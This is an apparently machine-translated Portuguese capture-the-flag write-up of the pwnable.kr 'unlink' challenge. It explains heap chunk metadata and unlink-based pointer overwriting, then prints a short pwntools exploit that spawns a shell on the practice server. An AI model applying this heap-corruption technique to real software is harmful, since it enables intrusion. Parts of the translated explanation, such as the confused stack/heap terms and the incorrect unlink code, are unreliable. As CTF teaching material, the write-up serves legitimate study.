Solução de problemas com pwnable.kr 19 - desvincular. Estouro de buffer de pilha

imagem

Neste artigo, trataremos da vulnerabilidade de estouro de buffer no heap e também resolveremos a 19ª tarefa do site pwnable.kr .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Como um grupo é organizado


A memória pode estar ocupada (alocada) e livre. A figura mostra a memória dinâmica.
  • SSize - o tamanho do bloco de memória anterior, desde que esteja livre.
  • Tamanho - o tamanho do bloco de memória fornecido, ao qual são adicionados 2 bits de status.
  • Dados - dados do usuário.
  • Fd é um ponteiro para o próximo bloco livre.
  • Bk - ponteiro para o bloco livre anterior.
  • Memória livre - livre.

imagem

Assim, nenhum dois blocos livres podem ser vizinhos. Além disso, na fronteira da memória do sistema livre e ocupada, há um bloco W livre especialmente processado.

imagem

A representação dos blocos nas listas (cestas) é a seguinte.

imagem

O método de desvinculação é usado para remover um bloco livre da lista.
void unlink(S, BK, FD){ BK = S->bk; FD = S->fd; FD->bk=BK; FD->fd=FD; } 

Alocação e liberação de memória


Vamos ver como o mmap funciona. Na primeira etapa, as matrizes dos tamanhos necessários são verificadas (por exemplo, 24 bytes). Se houver um bloco necessário, ele será separado usando o link.

imagem

Na segunda etapa, se esse bloco for grande o suficiente, ele será dividido em duas partes. A primeira parte é alocada e a segunda é redistribuída para outra matriz.

imagem

Na terceira etapa, se o bloco do tamanho necessário não tiver sido alocado, o bloco W será verificado. Se ele satisfizer, então os dois passos são realizados com ele. Se o bloco W for pequeno, sbrk () e mmap () serão usados ​​para expandir a memória disponível. O método Free é completamente oposto ao mmap.

Estouro de buffer de pilha


Um estouro de heap é um tipo de estouro de buffer que ocorre na área de dados do heap. A memória no heap é alocada dinamicamente pelo aplicativo em tempo de execução e geralmente contém dados do programa. A exploração é realizada corrompendo esses dados de uma maneira especial, para que o aplicativo substitua estruturas internas, como ponteiros, em uma lista vinculada. O método de estouro de heap canônico substitui o relacionamento de alocação de memória dinâmica (por exemplo, metadados malloc) e usa a troca de ponteiro para reescrever um ponteiro em uma função de programa.

Como exemplo, na função Desvincular, usando FD-> bk, você pode alterar o valor de uma palavra arbitrária na memória. Por exemplo, coloque o código da shell para alterar o endereço GOT. Um exemplo de estouro será um exemplo.

Desvincular solução de trabalho


Clicamos no primeiro ícone com a assinatura desvinculada e somos informados de que precisamos nos conectar via SSH com a senha de convidado.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Vamos ver o código fonte.

imagem

Portanto, temos o objeto B associado aos objetos A e C. Em seguida, o objeto A é inserido e preenchido. Tendo os objetos A - B - C conectados e controlando o preenchimento de A, podemos sobrecarregar o heap e reescrever os objetos B e C. Precisamos encontrar uma maneira de explorar a vulnerabilidade. Vamos dar uma olhada no gdb.

imagem

Assim, você pode escrever o código de shell e reescrever o endereço de retorno do main para o nosso código de shell. O endereço de retorno cai em esp a partir do registro ecx, onde é alimentado pelo ebp-4. Desmontando a função de desvinculação, notamos que o ebp-4 pode ser controlado pela entrada do usuário.

imagem

Vamos ver como nossos objetos estão localizados na memória e como a função desvincular funciona. Cada objeto ocupa 16 bytes na memória (4 para ponteiros e 8 para buffers).

imagem

A alocação de memória para objetos ocorre nas linhas principal + 38, principal + 54 e principal + 70. Antes de cada chamada, o ponteiro da pilha (esp) aumenta em 16 e diminui em 12, após o qual 16 bytes são reservados.

imagem

imagem

Ou seja, existem 4 bytes entre estruturas.

imagem

Em seguida é a vinculação e vinculação de objetos.

imagem

imagem

Portanto, precisamos que, ao retornar da função, o endereço vá para o local heap + 12, que transferirá o controle para o endereço em que o código da shell está localizado.

imagem

 from pwn import * s = ssh("unlink", "pwnable.kr", password="guest", port=2222) ex = s.process("./unlink") shell_address = p32(0x80484eb) ans = ex.recv().split("\n") stack_addr = p32(int(ans[0].split(" ")[5],16) + 16) heap_addr = p32(int(ans[1].split(" ")[5],16) + 12) payload = shell_address + "A"*12 + heap_addr + stack_addr ex.sendline(payload) ex.interactive() 

imagem

Conseguimos a concha, lemos a bandeira, ganha 10 pontos.



Você pode se juntar a nós no Telegram . Da próxima vez, trataremos do estouro de heap.

Source: https://habr.com/ru/post/pt463227/


All Articles